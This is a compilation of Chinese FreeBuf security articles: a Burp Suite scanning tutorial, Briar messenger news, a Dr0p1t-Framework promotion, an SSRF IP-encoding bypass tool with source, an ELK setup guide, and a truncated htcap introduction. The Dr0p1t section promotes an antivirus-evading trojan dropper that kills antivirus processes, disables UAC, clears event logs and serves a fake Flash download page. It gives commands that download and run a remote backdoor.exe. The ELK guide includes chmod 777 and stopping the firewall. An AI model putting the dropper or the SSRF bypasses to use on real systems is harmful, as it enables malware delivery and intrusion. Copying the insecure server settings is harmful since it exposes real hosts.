Burp Suite扫描器漏洞扫描功能介绍及简单教程

测试站点:http://testphp.vulnweb.com/

Burpsuite版本:1.7.12

下面开始介绍如何适应Burp Suite的扫描器功能。

1.保持抓包功能一直开启。

这里应该不用赘述了,只要听说过burpsuite的少年肯定知道如何开启监听功能。(如果需要教程,请移步http://www.freebuf.com/sectool/2079.html

Burp Suite扫描器漏洞扫描功能介绍及简单教程

2.单击数据包区域,右键,选择“Do an active scan(激活主动扫描)”

Burp Suite扫描器漏洞扫描功能介绍及简单教程

点击按钮之后,burpsuite会提示是否激活扫描,选择“是”

Burp Suite扫描器漏洞扫描功能介绍及简单教程

这时“Scanner(扫描)”按钮会亮起,开始进行扫描

Burp Suite扫描器漏洞扫描功能介绍及简单教程

3.扫描功能介绍

Scanner标签下有五个功能,下面分别进行介绍:

1)Issue activity问题清单

这里记录了问题发生的顺序,时间,问题类型,url地址等

从截图中我们能够看到burpsuite提供的扫描功能能够扫出以下几个问题:

反射型XSS

Flash跨域策略

SQL注入

未加密通信

跨域引用漏洞

公开电子邮件地址

Burp Suite扫描器漏洞扫描功能介绍及简单教程

2)Scan queue扫描队列

扫描队列记录了扫描主机、扫描状态、问题数量、请求的次数的等扫描信息

Burp Suite扫描器漏洞扫描功能介绍及简单教程

3)Living scanning在线扫描

通过“Living scanning”页签可以设置扫描策略,即是否在监听时发现站点就进行扫描,这里默认的开关是关。

Burp Suite扫描器漏洞扫描功能介绍及简单教程

4)问题列表

这里列出了burpsuite可以测试的的漏洞类型,包括注入、xss、命令执行等各类常见的web漏洞,看起来还是很全的

Burp Suite扫描器漏洞扫描功能介绍及简单教程

5)options 设置

对burpsuite的扫描进行设置

Burp Suite扫描器漏洞扫描功能介绍及简单教程

4.对burpsuite的扫描结果进行验证

本次扫描一共扫出了8个问题,我们挑两个进行验证

Burp Suite扫描器漏洞扫描功能介绍及简单教程

1)反射型xss

问题类型   Cross-site scripting (reflected)反射型xss
风险等级:   High
可信程度:   Certain确定
主机   http://testphp.vulnweb.com
路径   /listproducts.php

Burpsuite给的扫描的具体内容如下:

Burp Suite扫描器漏洞扫描功能介绍及简单教程

在请求选项卡中,我们能够看到相关的响应值,以便进行测试
Burp Suite扫描器漏洞扫描功能介绍及简单教程

我们查看响应的选项卡,查看响应情况,我们能够看到,在页面上确实弹出了一个提示框。

Burp Suite扫描器漏洞扫描功能介绍及简单教程

因此,这是一个get方式的XSS漏洞,使用浏览器测试:

Burp Suite扫描器漏洞扫描功能介绍及简单教程

2)SQL注入

问题类型   SQL injection SQL注入)
风险等级:   High
可信程度:   Firm 确定
主机   http://testphp.vulnweb.com
路径   /listproducts.php

查看burpsuite的扫描情况

Burp Suite扫描器漏洞扫描功能介绍及简单教程

这里burpsuite说他的payload是单引号,数据库返回了一个报错,我们应该查看相关的错误信息,确定到底是不是一个漏洞。Burpsuite认为,数据库是mysql

我们再点卡请求选项卡,可以看到单引号在传参过程中因为报错发生了中断

Burp Suite扫描器漏洞扫描功能介绍及简单教程

我们再点击“响应”选项卡,看下高亮的代码区关于数据库报错的内容

Burp Suite扫描器漏洞扫描功能介绍及简单教程

5.总结

Burp Suite确确实实是一个渗透测试居家旅行必备的神器,但是在测试过程中也发现了有很多问题:

1)同一站点,同一测试方法,不同次数的扫描的内容竟然不一样。这个真是一个要命的问题,连进行个扫描还要看人品?

Burp Suite扫描器漏洞扫描功能介绍及简单教程

2)要把监听一直开着

这个倒不算什么要紧的问题,只是在测试的过程中一定要小心别把监听和代理关掉

3)照比成熟的商业化扫描器差距太大

鉴于Burp Suite的定位,并不能指望能和AWVS、AppScan等成熟的商业化扫描器平分天下,但是Burp Suite的扫描结果并不能与前面两位大侠同日而语。但是如果出门手头没有扫描器,或者是需要轻载扫描的时候,一个Burp Suite就够了。

参考来源

Vulnerability Analysis in Web Application using Burp Scanner

* 本文作者:pageuo,本文属FreeBuf原创奖励计划,未经许可禁止转载

基于Tor的通讯软件Briar:断网也能用的通信软件

基于Tor的通讯软件Briar:断网也能用的通信软件

Briar是一款正在研发中的基于Tor的通讯软件,开发人员称,这款应用已经通过了安全审计进入Beta阶段。应用目前已经上架Google Play Store,iOS用户可能还需要再等等。

已通过安全审计

Briar团队还公布了安全审计结论。这次的安全审计是由Cure53进行的,这个团队审计过SecureDrop, Cryptocat, Dovecot等安全服务,去年年底还曾发现了cURL中的数十个安全问题。

Cure53的审计报告,“Android版本的Briar对安全和隐私处理得比较好,”除此之外,应用中的加密代码“特别干净完善,没有发现漏洞。”

审计中发现的问题在现在发布的Beta版本中都已经修复。

去中心化的通讯服务

基于Tor的通讯软件Briar:断网也能用的通信软件

Briar最大的特点就是使用了去中心化的通讯方式,为记者、活动分子提供了更加安全的通讯手段。

Briar使用了点对点的系统,用户在通讯时能直接相互交流。而所有通讯都是端对端加密的,能够保证私密性,并且不会携带任何元数据。由于Briar是端对端加密方式,理论上无法封锁。

默认情况下,Briar用户之间会使用Tor网络传输消息,但是如果Tor被封锁,应用会使用附近的WiFi网络进行局域网的传输,或者使用蓝牙进行近距离传输。正因为如此在Briar官网的介绍中提到了它在断网的情况下也能使用。

不急着推出稳定版

基于Tor的通讯软件Briar:断网也能用的通信软件

软件开发者Torsten Grote称,稳定版的Briar推出的时间还没有确定。Briar是开源的并且没有商业资助和严格的时间点。所以不急着推出正式版。

“跟其他的自由软件项目一样,等完成项目之后就会推出正式版。”Grote说。由于在开发Briar时开发者尽可能模块化,使之后的开发变得更加方便,因此未来会推出Briar的桌面版本。

而iOS的开发则更难,“因为iOS平台相比Android更加封闭,对P2P所用到的背景服务有更多限制”,尽管如此,开发团队还是打算开发一个iOS版本。

“目前我们在收集问题以便发布第二个Beta版本,我们的测试用户主要担心两个问题:电池消耗和能否远程添加好友。”

后续版本将添加I2P

基于Tor的通讯软件Briar:断网也能用的通信软件

在软件的后续开发计划中,开发者打算加入I2P支持作为Tor的替代品。通过与开发者Grote的沟通小编了解到,Briar之后还会加入WiFi Direct的通信方式,甚至还可能会用到FM无线电。

目前Briar已经获得了一定的知名度,某些注重隐私的用户把它称作“暗网信使”。

同类软件

Briar其实有几个特性,端对端、基于Tor、以及离线可用。我们总结了相关的同类软件以及他们的区别。

端对端

最近几年,注重隐私的通信和安全软件越来越多,有斯诺登推荐的Signal、俄罗斯富豪开发的Telegram。众多传统的通讯软件也加入了加密通讯的功能,比如Line、Viber、WhatsApp、Facebook旗下的Messenger等。

基于Tor

事实上,Tor项目自己也推出过基于Tor的通讯软件,名为Tor Messenger,不过这款应用只有Linux、Mac和Windows版本,没有Android版本,因此Briar与Tor Messenger可以进行互补。而事实上,Briar的团队与Tor项目开发人员还有一些联系。

“我们的开发者认识很多Tor的开发者,他们也认识我们,”Grote说,“我们会讨论减少Tor电池消耗的问题,然后一起解决”,除此之外两个团队没有什么官方的或者经济上的关联。

离线可用

实际上看到Briar使用蓝牙传输消息,小编就想起了前几年的FireChat。相比之下,FireChat的安全性较低,FireChat开发者曾经澄清过,“如果被敌对的人发现使用这个工具时的一切通讯,会对用户造成不利。” 他说:“换句话说,它不是安全或秘密的通讯工具。”

基于Tor的通讯软件Briar:断网也能用的通信软件

必须当面添加好友

从这个意义上说,Briar可能是FireChat的安全版,但二者的路线可能略有不同。Briar只能用于距离较近的通信,使用Briar添加好友时必须面对面扫描添加,将二维码复制转发等都无法添加。而FireChat把用户作为节点,每个人在接受消息的同时会发送给附近的用户,因此消息传输的距离更远。

对于这两个问题,Freebuf小编特意联系了Briar的开发者Torsten Grote,来听听他怎么说:

问:我记得有一款名为FireChat的应用程序。它用了蓝牙和Wi-Fi Direct(貌似Briar很快会支持)。在FireChat中每个用户实际上是一个“节点”,因此可以进行长距离的通信。 Briar会采用这样的方法吗?还是不够安全?

答:Briar希望尽可能保护元数据,所以它不会为其他人传递消息。这也节省了电池消耗。

然而,Briar所采用的P2P技术会作为自由软件库发布,并且以模块化的形式(这与Firechat不同),因此其他人可以使用这些库来构建自己的P2P应用程序,这些应用程序安全性较低,但传播信息比Briar更容易。

问:Briar的手册里说“你必须当面添加联系人”,这会减少应用程序的普及吗?

答:肯定会的。我们打算解除这一限制,但请记住,当面添加好友是防范中间人攻击的唯一途径(只有这样你才可以确定跟你你说话的人真的是那个人)。

另外Briar可以推荐联系人,推荐的联系人不需要见面就可以添加。

需要下载的读者可以访问这里

*参考来源:BleepingComputer,本文作者:Sphinx,转载请注明来自FreeBuf.COM

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

相信对木马病毒有一定了解的人,一定听说过Trojan dropper。这是一种会在你的计算机上,释放和下载其他恶意软件的木马程序。作为一种较为典型的木马,它也极易遭到杀毒软件的查杀。那么有没有办法让我们的木马“隐身”呢?这里我向大家推荐一款叫做Dr0p1t的框架,利用它我们可以轻松地创建一个可以躲避大多数杀软的dropper程序。

特点

生成的可执行文件相关属性:

  • 可执行文件的大小相对于其他以相同方式生成的dropper较小。
  • 可在目标系统上下载可执行文件并静默执行
  • 自毁功能,dropper在完成工作后将自动删除
  • 躲避磁盘取证,并且在完全删除之前进行内容的清除
  • 完成后清除事件日志。

框架属性:

  • 适用于Windows,Linux,现已支持OSX(感谢@sm4sh3r)。
  • Dr0p1t-Server(beta版)支持在浏览器使用,具体请参阅如何使用Dr0p1t-Server
  • Dr0p1t-Server(beta版)有一个scam选项,具体请参阅如何使用Dr0p1t-Server

模块:

  • 在正式运行恶意软件之前,会主动搜索并尝试强制关闭杀毒软件进程。
  • 禁用UAC。
  • 以管理员身份运行恶意软件。
  • 伪装任意的文件图标及扩展。
  • 支持ZIP格式,可在上传可执行文件之前将其压缩为ZIP文件。
  • 在运行可执行文件之前可自定义选择文件类型如(batch | powershell | vbs)。
  • 可以绕过PowerShell执行策略。
  • 创建后使用UPX压缩dropper。

持久性模块:

  • 将下载后的可执行文件自动添加到开机启动项。
  • 将下载的可执行文件添加到计划任务中(UAC可忽略)。
  • 将你的文件添加到powershell用户配置文件,以便你可以随时下载和运行文件。

界面截图

Windows

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

Linux (Kali linux)

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

OSX

还没有完全测试! 需要一些贡献者和测试人员。

帮助菜单:

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help      显示帮助信息和退出
-s              添加恶意软件到启动项(持久的)
-t              添加恶意软件到计划任务中(持久的)
-a              添加链接到powershell用户配置文件(持久的)
-k              在运行恶意软件之前强制关闭杀毒软件进程
-b              运行batch脚本之前运行你的恶意软件。检测脚本文件夹
-p              运行powershell脚本之前运行你的恶意软件。检测脚本文件夹
-v              运行vbs脚本之前运行你的恶意软件。检测脚本文件夹
--runas         绕过UAC以admin身份运行恶意软件
--spoof         文件扩展名欺骗
--zip           告诉Dr0p1t链接中的恶意软件被压缩为zip
--upx           创建后使用UPX压缩
--nouac         尝试在受害者设备上取消UAC支持
-i              文件图标欺骗。检测图标文件夹
--noclearevent  告诉框架不要在目标机器上完成任务后清除事件日志
--nocompile     告诉框架不编译最终文件。
--only32        仅下载32位设备的恶意软件
--only64        仅下载64位设备的恶意软件
-q              Stay quite ( 无banner信息 )
-u              检查更新
-nd             显示较少的输出信息

 举例:

./Dr0p1t.py Malware_Url [Options]
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip

安装条件

Python 2或Python 3

如果是Python 2推荐使用2.7.x版本,如果是Python 3推荐使用3.5.x版本,这里注意不要使用3.6版,因为该版本目前还不支持PyInstaller。

Linux依赖

apt

其它依赖文件可以通过install.sh脚本安装

注:必须以root权限操作

windows依赖

pip

windows_requirements.txt中的模块

安装

Linux

git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
sudo chmod +x install.sh
./install.sh
python Dr0p1t.py

Windows(下载ZIP后解压缩)

cd Dr0p1t-Framework-master
python -m pip install -r windows_requirements.txt
python Dr0p1t.py

注:在python 2.7中你没有pip,因此需要先从get-pip.py脚本安装它[Google可以找到]

测试系统:

  • Kali Linux – SANA
  • Ubuntu 14.04-16.04 LTS
  • Windows 10/8.1/8

Dr0p1t-Server

注:Dr0p1t-Server仍处在测试版阶段,有很多功能和设计需要大家一起添加和完善。

安装条件

稳定的互联网连接。

5000端口未被占用,并且防火墙配置为不阻止。

安装及运行server

在Linux和Windows上,通过执行上述步骤安装Dr0p1t后,我们使用以下命令安装server_requirements.txt中的模块:

python -m pip install -r server_requirements.txt

现在我们来运行我们的server脚本:

python Dr0p1t_Server.py

运行server脚本后,它将使用flask开始监听5000端口所有的通讯连接。

现在,我们就可以在浏览器中打开127.0.0.1:5000或[你的IP]:5000。

要从LAN中的其他设备打开[您的本地IP]:5000,并且WAN中的其他设备打开[全局IP]:5000,但请确保首先配置路由器以将端口5000连接转发给您。

注:如果想要在本地局域网内的其他设备[你的本地IP]:5000或无线局域网中的其他设备[全局IP]:5000打开,请首先确保你的路由器以配置端口转发。

打开server页面后,我们将看到一个设计简洁的数据提交界面。我们只需根据提示输入相应的内容即可。输入完成后我们点击提交,程序将为我们生成一个exe文件,并将我们重定向到一个虚假的Adobe Flash下载页面。

界面截图

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

查看更多关于Windows的截图

查看更多关于Linux的截图

virus total扫描结果:

Dr0p1t-Framework:一个可以绕过多数杀软的木马生成框架

*参考来源:Github,FB小编 secist 编译,转载请注明来自FreeBuf.COM

一个生成各种进制格式IP的小工具(附源码)

0×00. 前言

一些防护SSRF漏洞的代码一般使用正则来判断访问IP是否为内部IP,比如下面这段网上比较常见的正则:

if re.match(r"^192/.168(/.([2][0-4]/d|[2][5][0-5]|[01]?/d?/d)){2}$", ip_address) or /
 
    re.match(r"^172/.([1][6-9]|[2]/d|3[01])(/.([2][0-4]/d|[2][5][0-5]|[01]?/d?/d)){2}$", ip_address) or /
    re.match(r"^10(/.([2][0-4]/d|[2][5][0-5]|[01]?/d?/d)){3}$", ip_address):
    raise Execption("inner ip")

很明显这个正则有很多问题,可以有多种方式绕过,比如

1. 利用八进制IP地址绕过

2. 利用十六进制IP地址绕过

3. 利用十进制的IP地址绕过

4. 各种进制组合形成的IP绕过

一般我们常见都是10进制表示的IP,其实系统是可以识别其他进制表示的IP,比如8进制,16进制,或者它们的组合,更多详情可以参考:那些不为人知的IP

所以,我们在测试系统是否有SSRF漏洞的时候,有时候需要尝试各种进制的IP组合,看看是否能绕过系统的防护,于是就有了本文的这个小程序,用于自动生成各种进制形式的IP,以帮助我们进行安全测试

0×01. 正文

程序代码

#!/usr/bin/env python
# -*- coding:utf8 -*-
"""
各种进制的IP表示及其它们的组合
"""
import socket
import struct
import itertools
def ip_split_by_comma_oct(ip):
    """
    :param ip:
    :return:
    """
    parsed_result = set()
    ip_split = str(ip).split('.')
    ip_split_oct = [oct(int(_)) for _ in ip_split]
    parsed_result.add('.'.join(ip_split_oct))
    return parsed_result
def ip_split_by_comma_hex(ip):
    """
    :param ip:
    :return:
    """
    parsed_result = set()
    ip_split = str(ip).split('.')
    ip_split_hex = [hex(int(_)) for _ in ip_split]
    parsed_result.add('.'.join(ip_split_hex))
    return parsed_result
def combination_oct_int_ip(ip):
    """
    :param ip:
    :return:
    """
    result = set()
    parsed_result = set()
    ip_split = str(ip).split('.')
    oct_2 = list(itertools.combinations([0, 1, 2, 3], 2))
    oct_3 = list(itertools.combinations([0, 1, 2, 3], 3))
    for n, _ in enumerate(ip_split):
        _tmp = oct(int(_))
        _delete = ip_split[:n] + ip_split[n+1:]
        _delete.insert(n, _tmp)
        result.add(tuple(_delete))
    for _ in oct_2:
        _tmp_ip = ip_split[:]
        _tmp1 = oct(int(ip_split[_[0]]))
        _tmp2 = oct(int(ip_split[_[1]]))
        del _tmp_ip[_[0]]
        del _tmp_ip[_[1] - 1]
        _tmp_ip.insert(_[0], _tmp1)
        _tmp_ip.insert(_[1], _tmp2)
        result.add(tuple(_tmp_ip))
    for _ in oct_3:
        _tmp_ip = ip_split[:]
        _tmp1 = oct(int(ip_split[_[0]]))
        _tmp2 = oct(int(ip_split[_[1]]))
        _tmp3 = oct(int(ip_split[_[2]]))
        del _tmp_ip[_[0]]
        del _tmp_ip[_[1] - 1]
        del _tmp_ip[_[2] - 2]
        _tmp_ip.insert(_[0], _tmp1)
        _tmp_ip.insert(_[1], _tmp2)
        _tmp_ip.insert(_[2], _tmp3)
        result.add(tuple(_tmp_ip))
    for _ in result:
        parsed_result.add('.'.join(_))
    return parsed_result
def combination_hex_int_ip(ip):
    """
    :param ip:
    :return:
    """
    result = set()
    parsed_result = set()
    ip_split = str(ip).split('.')
    hex_2 = list(itertools.combinations([0, 1, 2, 3], 2))
    hex_3 = list(itertools.combinations([0, 1, 2, 3], 3))
    for n, _ in enumerate(ip_split):
        _tmp = hex(int(_))
        _delete = ip_split[:n] + ip_split[n+1:]
        _delete.insert(n, _tmp)
        result.add(tuple(_delete))
    for _ in hex_2:
        _tmp_ip = ip_split[:]
        _tmp1 = hex(int(ip_split[_[0]]))
        _tmp2 = hex(int(ip_split[_[1]]))
        del _tmp_ip[_[0]]
        del _tmp_ip[_[1] - 1]
        _tmp_ip.insert(_[0], _tmp1)
        _tmp_ip.insert(_[1], _tmp2)
        result.add(tuple(_tmp_ip))
    for _ in hex_3:
        _tmp_ip = ip_split[:]
        _tmp1 = hex(int(ip_split[_[0]]))
        _tmp2 = hex(int(ip_split[_[1]]))
        _tmp3 = hex(int(ip_split[_[2]]))
        del _tmp_ip[_[0]]
        del _tmp_ip[_[1] - 1]
        del _tmp_ip[_[2] - 2]
        _tmp_ip.insert(_[0], _tmp1)
        _tmp_ip.insert(_[1], _tmp2)
        _tmp_ip.insert(_[2], _tmp3)
        result.add(tuple(_tmp_ip))
    for _ in result:
        parsed_result.add('.'.join(_))
    return parsed_result
def combination_hex_int_oct_ip(ip):
    """
    :param ip:
    :return:
    """
    result = set()
    parsed_result = set()
    ip_split = str(ip).split('.')
    hex_3 = list(itertools.combinations([0, 1, 2, 3], 3))
    for n1, n2, n3 in hex_3:
        _tmp_ip = ip_split[:]
        _tmp_2 = oct(int(_tmp_ip[n2]))
        _tmp_3 = hex(int(_tmp_ip[n3]))
        del _tmp_ip[n2]
        del _tmp_ip[n3 - 1]
        _tmp_ip.insert(n2, _tmp_2)
        _tmp_ip.insert(n3, _tmp_3)
        result.add(tuple(_tmp_ip))
    for _ in result:
        parsed_result.add('.'.join(_))
    return parsed_result
if __name__ == '__main__':
    ip = '10.1.100.1'
    ip_int = struct.unpack('!L', socket.inet_aton(ip))[0]
    ip_oct_no_comma = oct(ip_int)
    ip_hex_no_comma = hex(ip_int)
    ip_oct_by_comma = ip_split_by_comma_oct(ip)
    ip_hex_by_comma = ip_split_by_comma_hex(ip)
    all_result = ip_oct_by_comma | ip_hex_by_comma | combination_oct_int_ip(ip) | combination_hex_int_ip(ip) | combination_hex_int_oct_ip(ip)
    for _ip in all_result:
        print _ip

代码很容易看懂,首先生成纯8进制表示的IP、纯16进制表示的IP,然后在分别生成10进制和8进制混合组成的IP,16进制和10进制混合组成的IP, 16进制8进制10进制混合组成的IP,最后输出各种组合的结果

在使用其他脚本或者工具遍历测试这个脚本的结果,看看是否能绕过SSRF的防护

部分截图:

比如生成10.1.100.1 这个IP的其他各种进制形式:

一个生成各种进制格式IP的小工具(附源码)

一个生成各种进制格式IP的小工具(附源码)

0×02. 总结

工具虽然简单,但却能给我们的渗透测试带来方便,其实工作中有很多可以总结沉淀的地方,都可以形成工具化,不仅能方便以后工作,还能有助于我们知识的沉淀,加快我们自身实力提升。也希望大家以后也能多多分享。

* 本文作者:knpewg85942,转载注明来自FreeBUF.COM

基于Centos搭建ELK环境指南

无论是甲方还是一方都需要面对大量日志处理的情况,之前分析的时候用基本的shell命令进行处理,但是面对大量数据的时候则有些力不从心,而且面对纯文字也不大直观。后来有人推荐了ELK,最近ELK升级到了版本五。E, L, K三大组件统一了版本号,花了一段时间总算搭好了。

基本环境信息:

操作系统:CentOS 6.9 x64

java版本号:1.8.0_131

ELK: 5.5

0×01 安装java

ELK需要最新的java1.8.CentOS自带了openjdk1.7,删了重新安装oracle java

yum remove java

然后从oracle官网(http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)下载java的源码包

mkdir /usr/java
tar -zxvf jdk-8u131-linux-x64.tar.gz -C  /usr/java/

编辑/etc/profile

JAVA_HOME=/usr/java/jdk1.8.0_131

JRE_HOME=/usr/java/jdk1.8.0_131/jre

PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin

CLASSPATH=:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib

export PATH=$PATH:$JAVA_HOME:$JRE_HOME:$CLASSPATH

创建java的软连接

cd /usr/bin

ln -s /usr/java/jdk1.8.0_131/bin/java java

如图,安装成功

基于Centos搭建ELK环境指南

2. 安装elasticsearch

去elk官网下载elasticsearch的rpm包,

基于Centos搭建ELK环境指南

直接安装

rpm -ivh elasticsearch-5.5.0.rpm

启动测试

/etc/init.d/elasticsearch start

如图,安装成功

基于Centos搭建ELK环境指南

清空elasticsearch的数据

curl -XDELETE 'http://127.0.0.1:9200/logstash-*'

配置一下权限

cd /var/lib

chmod -R 777 logstash

3. 安装kibana

还是从官网下载kibana的二进制包

rpm -ivh kibana-5.5.0-x86_64.rpm

启动

/etc/init.d/kibana start

基于Centos搭建ELK环境指南

如图所示,kibaba也安装成功了,现在kibana只能从本地访问,为了方便调试,利用nginx做一下反向代理

yum install nginx

#/etc/nginx/conf.d/default.conf

server {

    listen 80;

    location / {

        proxy_pass [http://localhost:5601](http://localhost:5601);

    }

}

4. 安装logstash

安装logstash和之前的步骤一样,但是logstash是没有独立的守护服务的

安装后的路径

/usr/share/logstash/

创建config的软连接

cd /usr/share/logstash

ln -s /etc/logstash ./config

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。

file:从文件中读取

syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。

redis:从redis-server list 中获取

beat:接收来自Filebeat的事件

Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。

grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。

mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。

drop: 完全丢弃事件,如debug事件。

clone: 复制事件,可能添加或者删除字段。

geoip: 添加有关IP地址地理位置信息。

output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:

elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。

file: 将事件数据写入到磁盘文件上。

mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。

redis:将数据发送至redis-server,常用于中间层暂时缓存。

graphite: 发送事件数据到graphite。http://graphite.wikidot.com/

statsd: 发送事件数据到 statsd。

其中input和output是必须的,logstash由一个e参数,可以在终端调试配置文件

最简单的输入输出

/usr/share/logstash/bin# ./logstash -e 'input { stdin { } } output { stdout {} }'

基于Centos搭建ELK环境指南

采用格式化输出

logstash -e 'input { stdin { } } output { stdout { codec => rubydebug } }'

基于Centos搭建ELK环境指南

这边,我们是从终端输入,同时也从终端输出,但在实际状况中几乎不可能这么做,那先打通输出环节吧,把输出的内容发送到

Elasticsearch

首先启动Elasticsearch,确保9200端口开着,前边已经启动了。然后执行

./logstash -e 'input { stdin { } } output { elasticsearch { hosts => localhost } }'

基于Centos搭建ELK环境指南

确认一下

curl 'http://localhost:9200/_search?pretty'

基于Centos搭建ELK环境指南

logstash的e参数调试是很方便,但是内容多的话就不方便了,logstash还有一个f参数,用来从配置文件中读取信息,简单示例

#logstash_simple.conf

input { stdin { } }

output {

  elasticsearch { hosts => localhost }

}

# ./logstash -f  ../config/logstash_simple.conf

![75879570.png](http://image.3001.net/images/20170708/14995011356598.png!small)

![75898507.png](http://image.3001.net/images/20170708/14995011414518.png!small)

然后说一下过滤器

#logstash.conf

input { stdin {} }

filter {

    grok {

        match => ["message",  "%{COMBINEDAPACHELOG}"]

    }

}

output { 

   elasticsearch { hosts => localhost } 

}

filter 以何种规则从字符串中提取出结构化的信息,grok是logstash里的一款插件,可以使用正则表达式匹配日志,上文中的%{COMBINEDAPACHELOG}是内置的正则,用来匹配apache access日志.

测试信息

127.0.0.1 - - [11/Dec/2013:00:01:45 -0800] "GET /xampp/status.php HTTP/1.1" 200 3891 "http://cadenza/xampp/navi.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0"

基于Centos搭建ELK环境指南

curl 'http://localhost:9200/_search?pretty'

基于Centos搭建ELK环境指南

分析本地的apache日志文件

首先启动elasticsearch

/etc/init.d/elasticsearch start

然后创建logstash的json文件

#logstash_apache.conf

input {

    file {

        path => "/tmp/access.log"

        type => "apache"

        start_position => "beginning"

    }

}

filter { 

    grok { 

        match => {

            "message" => "%{COMBINEDAPACHELOG}"

        }

    }

    date {

        match => [ "timestamp" , "dd/MMM/YYYY:HH:mm:ss Z"]

    }

}

output {

   elasticsearch { hosts => localhost }

}

启动logstash

./logstash -f ../config/logstash_apache.conf

基于Centos搭建ELK环境指南

根据日志的时间修改一下时间段

基于Centos搭建ELK环境指南

然后是我最喜欢的功能,基于IP的地理位置显示

基于Centos搭建ELK环境指南

5.利用filebeat和redis搭建实时分析环境

下载安装redis

yum install redis

/etc/init.d/redis start

filebeat从官网下载rpm包直接安装即可

在filebeat中,/var/lib/filebeat/registry是文件读取的记录,为了让filebeat从头开始读,把他删了

修改filebeat配置文件

filebeat.prospectors:

- type: log

  paths:

    - /var/log/httpd/access_log

  tail_files: false

#- input_type: log

#  paths:

#    - /var/log/nginx/*.log

#  encoding: utf-8

#  document_type: my-nginx-log

#  scan_frequency: 10s

#  harvester_buffer_size: 16384

#  max_bytes: 10485760

#  tail_files:

output.redis:

  enabled: true

  hosts: ["127.0.0.1:6379"]

  key: "filebeat"

  db: 0

  worker: 1

  timeout: 5s

  max_retries: 3

#output.console:

#  pretty: true

启动filebeat

filebeat -e -c  /etc/filebeat/shadow.yml

基于Centos搭建ELK环境指南

去redis检查一下

基于Centos搭建ELK环境指南

有filebeat证明检查成功

既然redis和filebeat的通道打通了,然后就是打通redis和elasticsearch

#/usr/share/logstash/config/logstash_index.conf

input {

      redis {                        #去redis队列取数据;

          host => "127.0.0.1"        #连接redis服务器;

          port => 6379               #连接redis端口;

          data_type => "list"        #数据类型;

          key => "filebeat"          #队列名称;

          batch_count => 1

      }

}

filter {

    grok {

        match => ["message",  "%{COMBINEDAPACHELOG}"]

    }

    date {

        match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ]

  }

}

output {

    elasticsearch {                                  #Logstash输出到elasticsearch;

      hosts => ["localhost:9200"]                    #elasticsearch为本地;

      index => "logstash-apache-%{+YYYY.MM.dd}"       #创建索引;

      document_type => "apache"                       #文档类型;

      workers => 1                                   #进程数量;

      flush_size => 20000

      idle_flush_time => 10

 }

#stdout{codec => rubydebug}

}
./logstash -f ../config/logstash_index.conf

基于Centos搭建ELK环境指南

访问一下apache服务器,请求变成了6个

基于Centos搭建ELK环境指南

基于Centos搭建ELK环境指南

6.配置守护进程

每次启动的程序和服务太多了,为了避免麻烦用supervisor放到后台

yum install supervisor

写配置文件

#/etc/supervisord.conf

[program:iptables]

command=/etc/init.d/iptables stop

user=root

stdout_logfile=/tmp/elk/iptables.log

[program:nginx]

command=nginx

user=root

stdout_logfile=/tmp/elk/nginx.log

[program:redis]

command=/etc/init.d/redis start

user=root

stdout_logfile=/tmp/elk/redis.log

[program:kibana]

command=/etc/init.d/kibana start

user=root

stdout_logfile=/tmp/elk/kibana.log

stderr_logfile=/tmp/elk/kibana_error.log

[program:filebeat]

command=/usr/share/filebeat/bin/filebeat -c /etc/filebeat/shadow.yml

user=root

stdout_logfile=/tmp/elk/filebeat.log

[program:logstash]

command=/usr/share/logstash/bin/logstash -f /usr/share/logstash/config/logstash_index.conf

user=root

stdout_logfile=/tmp/elk/logstash.log

[program:elasticsearch]

command=/etc/init.d/elasticsearch start

user=root

stdout_logfile=/tmp/elk/elasticsearch.log

stderr_logfile=/tmp/elk/ela_err.log

[supervisord]

开机一条命令搞定

supervisord -c /etc/supervisord.conf

基于Centos搭建ELK环境指南

*本文作者:s1riu5,转载请注明FreeBuf.COM

htcap:一款实用的递归型Web漏洞扫描工具

今天给大家介绍的是一款名叫 htcap 的开源 Web 漏洞扫描工具,它通过拦截 AJAX 调用和页面 DOM 结构的变化并采用递归的形式来爬取单页面应用(SPA)。htcap 并不是一款新型的漏洞扫描工具,因为它主要针对的是漏洞扫描点的爬取过程,然后使用外部工具来扫描安全漏洞。在 htcap 的帮助下,我们就可以通过手动或自动渗透测试来对现代 Web应用进行漏洞扫描了。

htcap:一款实用的递归型Web漏洞扫描工具

环境要求

1.      Python 2.7

2.      PhantomJS v2

3.      Sqlmap

4.      Arachni

工具下载和运行

$ git clonehttps://github.com/segment-srl/htcap.git htcap
$ htcap/htcap.py

命令行参数

$ htcap crawl -h

